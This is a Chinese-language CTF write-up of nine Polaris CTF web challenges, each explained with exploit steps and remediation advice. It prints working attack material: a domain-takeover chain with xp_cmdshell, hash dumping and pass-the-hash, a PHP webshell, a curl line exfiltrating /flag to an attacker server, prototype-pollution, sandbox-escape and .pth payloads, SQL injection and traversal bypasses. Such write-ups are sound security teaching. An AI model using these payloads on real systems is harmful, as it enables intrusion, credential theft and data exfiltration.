第一届 Polaris CTF-web题解
字数 8374
更新时间 2026-04-02 14:13:10

Polaris CTF Web 题目详解与漏洞利用教学

本文档基于“第一届 Polaris CTF-web题解”链接内容,旨在系统性地讲解其中涉及的 Web 题目漏洞原理、利用思路和复现过程,形成一份详尽的教学材料。内容将涵盖多个独立挑战,旨在帮助读者深入理解相关安全漏洞。


1. babydc

目标环境:一个基于 Active Directory (活动目录) 的 Windows 域内网环境,包含域控制器 (DC)、成员服务器和客户机。

核心漏洞与利用链

  1. 信息收集与初始访问

    • 使用 crackmapexec smb <target_ip> 识别域控、域名和系统版本。
    • 通过目录扫描(如 wfuzz)或工具(如 diskgenius)发现敏感文件(如 poo_connection.txt),获取数据库连接凭证(server=localhost; user=wuwupor; password=lovlyBaby; database=master)。
  2. 数据库提权与横向移动

    • 使用 impacket-mssqlclientwuwupor 身份连接 MSSQL 数据库。
    • 确认当前用户权限普通 (SELECT IS_SRVROLEMEMBER('sysadmin'); 返回 0)。
    • 查询链接服务器 (EXEC sp_linkedservers;),发现 POO_PUBLIC
    • 通过链接服务器执行命令,提权至 sysadmin
      EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'');') AT [POO_PUBLIC];
      
    • 启用 xp_cmdshell 并执行系统命令:
      EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [POO_PUBLIC];
      EXEC ('xp_cmdshell ''whoami'';') AT [POO_PUBLIC];
      
  3. 域内信息枚举

    • 枚举域用户:EXEC ('xp_cmdshell ''net user /domain'';') AT [POO_PUBLIC];
    • 枚举本地管理员组:EXEC ('xp_cmdshell ''net localgroup administrators'';') AT [POO_PUBLIC];
  4. 获取域用户凭据与哈希

    • 利用获取的 mowen 用户凭据(密码:1maxwell),通过计划任务 (schtasks) 以该用户身份执行命令。
    • 转储 SAM 和 SYSTEM 文件:创建计划任务执行 reg save 命令,导出 HKLM\SAMHKLM\SYSTEM 到文件。
    • 转储 NTDS.dit 文件:创建计划任务执行 esentutl /y 命令,复制 C:\Windows\System32\ntds.dit
  5. 文件外传与哈希提取

    • 在攻击机启动一个简易的 HTTP PUT 接收服务器(Python 脚本)。
    • 在目标服务器上使用 powershellInvoke-WebRequest 将导出的 sam.hivsystem.hivntds.dit 文件上传到攻击机。
    • 使用 impacket-secretsdump 工具解析这些文件,提取本地 SAM 哈希和域 NTLM 哈希。例如,获得管理员 Administrator 的 NTLM 哈希:d94f9831271e229dbc6e712097b63168
  6. 域控权限获取

    • 使用提取的管理员 NTLM 哈希,通过 impacket-psexecimpacket-wmiexec 进行哈希传递攻击(Pass-the-Hash),获取域控制器(DC)的最高权限 shell。
      impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 Administrator@<DC_IP>
      

教学要点

  • Active Directory 基本概念与关键端口(LDAP 389, SMB 445, Kerberos 88等)。
  • 利用链接服务器(Linked Server)在 MSSQL 中实现权限提升和跨实例命令执行。
  • Windows 计划任务在横向移动中的作用。
  • 注册表文件(SAM/SYSTEM)和活动目录数据库(NTDS.dit)的获取与哈希提取方法。
  • 哈希传递攻击(Pass-the-Hash, PtH)的原理与实践。

2. ezpython

漏洞类型:不安全的对象递归合并(Merge)导致任意文件读取。

代码分析

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

merge 函数将用户传入的 JSON 数据(src)递归合并到目标对象(instance)上。初始 instance.config.filename 被设置为 "app.py"

利用链

  1. 污染属性:通过向 / 路由发送 POST 请求,构造特定的 JSON 数据,可以覆盖 instance.config.filename 属性。
  2. 触发读取:访问 /read 路由,会执行 open(instance.config.filename).read()。由于 filename 已被污染,可读取任意文件。

利用步骤

  1. 污染 filename
    POST / HTTP/1.1
    Content-Type: application/json
    
    {"config": {"filename": "/flag"}}
    
    此请求会通过 merge 函数,将 instance.config.filename 的值从 "app.py" 修改为 "/flag"
  2. 读取 Flag
    GET /read HTTP/1.1
    
    服务器将尝试打开并返回 /flag 文件的内容。

教学要点

  • 不安全的递归合并函数是原型污染(Prototype Pollution)的常见来源,虽然本例是污染自身属性,但原理相似。
  • 理解对象引用和属性覆盖在动态语言中的风险。
  • 开发者应避免将用户输入直接合并到关键程序对象上,或对合并操作进行严格的输入验证和属性白名单控制。

3. onlyreal

漏洞类型:文件上传过滤不完整导致任意代码执行(.htaccess + 图片马)。

代码分析

<?php
$f = $_FILES['file'];
if(preg_match("/php|phtml/i",$f['name'])){
    die("非法类型");
}
move_uploaded_file($f['tmp_name'],"uploads/".$f['name']);
echo "上传成功";

后端仅检查了文件名中是否包含 phpphtml 字符串,过滤可以被绕过。

利用链

  1. 上传 .htaccess 文件:先上传一个 .htaccess 文件,内容为 AddType application/x-httpd-php .png。这会使 Apache 服务器将所有 .png 文件当作 PHP 脚本来解析。
  2. 上传图片马:上传一个包含 PHP 代码的 .png 文件。例如,文件内容为:
    <?php echo "SHELL-".md5("pwn"); if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
    
  3. 访问执行:直接访问上传的 PNG 文件,它将被服务器解析为 PHP,从而执行任意系统命令。例如,访问 /uploads/shell.png?cmd=id 来执行命令。

利用步骤

  1. 上传 .htaccess 文件。
  2. 上传恶意 PNG 文件。
  3. 访问 PNG 文件路径并附加命令参数。

教学要点

  • 文件上传漏洞的防御不能仅依赖客户端检查或简单的黑名单过滤。
  • .htaccess 文件可以配置目录级别的行为,包括 MIME 类型映射,滥用可能导致严重安全问题。
  • 应采用白名单策略验证文件扩展名,并在保存文件时重命名(如使用随机哈希值),避免直接使用用户提供的文件名。

4. DXT

漏洞类型:可控制的配置文件(清单)导致远程命令执行。

漏洞成因:后端在启动服务时,直接执行了用户上传的 DXT 清单文件中 mcp_config 段下的 commandargs 字段,且未对命令进行有效过滤。

利用链

  1. 确认漏洞:上传非 ZIP 文件提示错误,确认 DXT 文件按 ZIP 解析。上传合法清单后,详情接口会显示 commandargs。调用启动接口时,若命令不存在(如 python),后端会报错 exec: "python": executable file not found in $PATH,证实命令被执行。
  2. 探测可用命令:通过错误信息或构造不同命令测试,发现 sh 存在。
  3. 构造恶意 DXT 包:创建一个 ZIP 文件,其中包含一个 manifest.json,其 server.mcp_config 部分指定通过 sh -c 执行任意命令。
  4. 外带数据 (OOB):由于无回显,在命令中尝试读取可能的 flag 文件路径,并通过 curlwget 将文件内容发送到攻击者控制的服务器(如 webhook.site)。

恶意 manifest.json 示例

{
  "dxt_version": "0.1",
  "name": "flag-oob",
  "server": {
    "type": "node",
    "entry_point": "inline",
    "mcp_config": {
      "command": "sh",
      "args": ["-c", "f=$(cat /flag); curl http://attacker-server/$f"]
    }
  }
}

教学要点

  • 永远不要将用户可控制的数据(如配置文件内容)直接传递给命令执行函数(如 execspawn)。
  • 如果必须动态执行命令,应对输入进行严格的白名单验证,并尽可能使用参数化调用。
  • 在无回显的场景下,Out-of-Band (OOB) 技术是证明漏洞存在和获取数据的关键手段。

5. ezpollute

漏洞类型:原型污染(Prototype Pollution)结合环境变量注入导致任意代码执行。

代码分析

  • 污染点 (merge 函数):虽然过滤了 __proto__ 属性,但未过滤 constructorprototype。通过提交 {"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}} 可以将 NODE_OPTIONS 污染到 Object.prototype 上。
  • 触发点 (/api/status 路由):该路由会遍历 process.env 创建新环境变量对象 customEnv 用于 spawn 子进程。for...in 循环会枚举到 Object.prototype 上被污染的 NODE_OPTIONS 属性。过滤规则只拦截了以 -- 开头的危险选项(如 --require),但未拦截短选项 -r

利用链

  1. 发起原型污染:向 /api/config 发送 POST 请求,污染 Object.prototype.NODE_OPTIONS-r /flag
  2. 触发命令执行:访问 /api/status 路由。后端会创建 Node.js 子进程,其环境变量包含被污染的 NODE_OPTIONS=-r /flag。这等价于执行 node -r /flag -e 'console.log(...)'。由于 /flag 不是合法 JS 文件,Node.js 会在启动时报错,并将错误信息(包含 /flag 文件的部分内容)返回。

教学要点

  • 原型污染是现代 JavaScript 应用中的高危漏洞,可通过污染内置对象的原型来影响整个应用程序的行为。
  • 过滤 __proto__ 不足以防御原型污染,必须同时考虑 constructor.prototype 等路径。
  • 在创建子进程时,应显式传递所需的环境变量,而非从可能被污染的对象中枚举。使用 Object.getOwnPropertyNames() 而非 for...in 可以避免枚举继承属性。
  • NODE_OPTIONS 等环境变量的过滤必须全面,考虑所有可能的选项形式。

6. Not a Node

漏洞类型:沙箱逃逸 - 利用未文档化的内部运行时对象进行文件系统访问。

漏洞分析:题目声称只暴露了安全的运行时 API(如 __runtime.hash, __runtime.encoding),但通过枚举(Object.getOwnPropertyNames)可以发现隐藏的内部对象 __runtime._internal.lib.symbols,其中包含了十六进制命名的函数 _0x72656164 (read) 和 _0x6c697374 (list)。这些函数提供了底层的文件读取和目录列表能力。

利用链

  1. 探测隐藏 API:在部署的函数中执行 Object.getOwnPropertyNames(__runtime)Object.getOwnPropertyNames(__runtime._internal.lib.symbols),发现隐藏函数。
  2. 利用文件读取函数:十六进制 0x72656164 对应 ASCII 字符串 read。调用 __runtime._internal.lib.symbols._0x72656164 函数,并传入目标文件路径(如 /flag)的字节数组,即可读取文件内容。

Payload 示例

export default {
  async fetch() {
    const read = __runtime._internal.lib.symbols._0x72656164;
    const path = new TextEncoder().encode('/flag');
    return new Response(read(path));
  }
}

教学要点

  • 沙箱的安全性依赖于完整的攻击面隔离。暴露任何未经验证和文档化的内部接口都可能导致沙箱被突破。
  • 永远不要相信客户端或用户侧的安全声明,应通过动态测试和枚举来探测真实的运行时环境。
  • 开发者应确保沙箱只暴露最小必要且经过严格安全审计的 API。

7. 醉里挑灯看剑

漏洞类型:逻辑漏洞 (Capability 提权) + 表达式注入 (Expression Injection)。

漏洞分析

  • 漏洞一 (Capability 提权)
    • 函数 appendCapabilityRows 在批量插入数据库时,使用第一行数据的键(Object.keys(rows[0]))作为整批插入的字段集合。如果恶意构造的数据使第一条记录不包含 rolelane 字段,则后续所有记录的这两个字段在插入时都会被置为 NULL
    • getEffectiveCapability 函数通过 COALESCE(role, 'maintainer')COALESCE(lane, 'release') 处理 NULL 值。因此,NULL 值的 role/lane 会被默认提升为高权限的 'maintainer'/'release'
    • 防护函数 normalizeSyncRows 会在末尾追加一条 role='guest', lane='public' 的记录,但插入前数据会按 source 字段排序。通过设置恶意记录 source='zzzz',可以使防护记录不是第一条,从而其 role/lane 在插入时也会被置为 NULL,防护失效。
  • 漏洞二 (表达式注入)
    • /api/release/execute 接口使用 new Function(...) 执行用户输入的表达式 expr
    • 后端有一个简单的关键字黑名单(如 process, constructor, require, eval),但仅使用 string.includes() 检查。可以通过字符串拼接(如 'pro'+'cess'tools.sha1['constr'+'uctor'])轻松绕过。

利用链

  1. 获取访客 Token:调用 /api/auth/guest
  2. 同步恶意 Capability:调用 /api/caps/sync,发送两条 source 不同且不包含 role/lane 字段的记录(keepRole: false, keepLane: false),确保排序后第一条记录无这两个字段。这使得当前会话的 effective capability 变为 (maintainer, release)
  3. 获取 Challenge Nonce:调用 /api/release/challenge
  4. 读取 RUNNER_KEY:调用 /api/release/execute,执行拼接的表达式绕过黑名单,读取 process.env.RUNNER_KEY。例如:
    {"expression": "tools.sha1['constr'+'uctor']('return pro'+'cess.env.RUNNER_KEY')()"}
    
  5. 计算 Proof 并获取 Flag:根据公式 proof = sha1(sid + ":" + nonce + ":" + RUNNER_KEY) 计算 proof,调用 /api/release/claim 提交 nonceproof 以获取 flag。

修复建议

  • 数据库操作:使用明确的列名进行插入,而不是动态从数据中推断。
  • 权限默认值COALESCE 的默认值应设置为最低权限(如 'guest', 'public'),而非高权限。
  • 表达式执行:避免使用 new Functioneval 执行用户输入。如需动态表达式,应使用严格的白名单解释器或沙箱。
  • 敏感信息:不应将 RUNNER_KEY 等敏感信息暴露在表达式执行的上下文中。

8. AutoPypy

漏洞类型:任意文件上传(路径穿越)结合 Python .pth 文件自动执行。

代码分析

  • /upload 接口:使用 os.path.join(UPLOAD_FOLDER, filename) 拼接路径,filename 用户完全可控,导致目录穿越 (../../)。
  • /run 接口:使用 subprocess.run 启动新的 Python 解释器执行 launcher.py
  • launcher.py 提示:打印了 site.getsitepackages()[0],暗示目标路径。

利用链

  1. 探测可写路径:通过上传文件到 ../../usr/local/lib/python3.10/site-packages/ 测试,确认该目录可写。
  2. 写入恶意 .pth 文件.pth 文件是 Python 的路径配置文件,其中以 import 开头的行会在 Python 启动时被自动执行。上传一个包含恶意 Python 代码的 .pth 文件到 site-packages 目录。
    # evil.pth 内容
    import sys, os; exec(open('/flag').read()) # 或其他搜索 flag 并输出的代码
    
  3. 触发执行:调用 /run 接口执行任意 Python 脚本(如一个空脚本)。在启动新的 Python 解释器时,会自动加载 site 模块并执行 site-packages 下的 .pth 文件,从而触发恶意代码执行,读取并输出 flag。

教学要点

  • 文件上传功能的路径拼接必须使用安全的方法,如 os.path.normpath(os.path.join(base, filename)) 后,再检查结果是否仍以 base 目录开头。
  • Python 的 .pth 文件机制在提供便利的同时也带来了安全风险。确保 site-packages 等目录的写权限受到严格控制。
  • 子进程执行应尽可能减少对环境的依赖,并考虑使用更严格的沙箱或容器环境。

9. BrokenTrust

漏洞类型:SQL 注入 + 逻辑缺陷(仅 UID 登录)+ 路径遍历过滤绕过。

利用链

  1. SQL 注入获取管理员 UID:注册普通用户并登录后,发现 /api/profile 接口的 uid 参数存在 SQL 注入。通过注入可以查询出管理员用户的 UID。
    POST /api/profile HTTP/1.1
    Content-Type: application/json
    {"uid":"' union select uid,username,role from users where role='admin'-- "}
    
  2. 利用逻辑缺陷登录管理员:登录接口 /login 仅验证 UID,不需要密码。使用上一步获取的管理员 UID 直接登录,即可进入管理员后台。
  3. 路径遍历读取 Flag:管理员后台有一个备份文件读取接口 /api/admin?action=backup&file=config.json。其过滤逻辑存在缺陷:
    • 先执行 filename.replace("../", "")filename.replace("..", "")
    • 然后执行 unquote(filename)
    • 这允许通过 ....// 或双重 URL 编码(%252e%252e%252f)来绕过过滤,实现目录穿越。
    • 请求 /api/admin?action=backup&file=....//flagfile=%252e%252e%252fflag 即可读取根目录下的 /flag 文件。

教学要点

  • SQL 注入防御必须使用参数化查询(预编译语句)。
  • 身份认证不能仅依赖可预测或可被其他漏洞获取的单一标识符(如 UID),必须结合密码、Token 等多因素。
  • 防御路径遍历(目录穿越)时,简单的字符串替换(黑名单)是不可靠的。应使用规范化路径(如 os.path.normpath)后,再检查规范化后的路径是否仍在允许访问的基目录内。
  • 在处理用户输入时,解码(unquote)应在过滤和检查之前进行,以避免编码绕过。
相似文章
相似文章
 全屏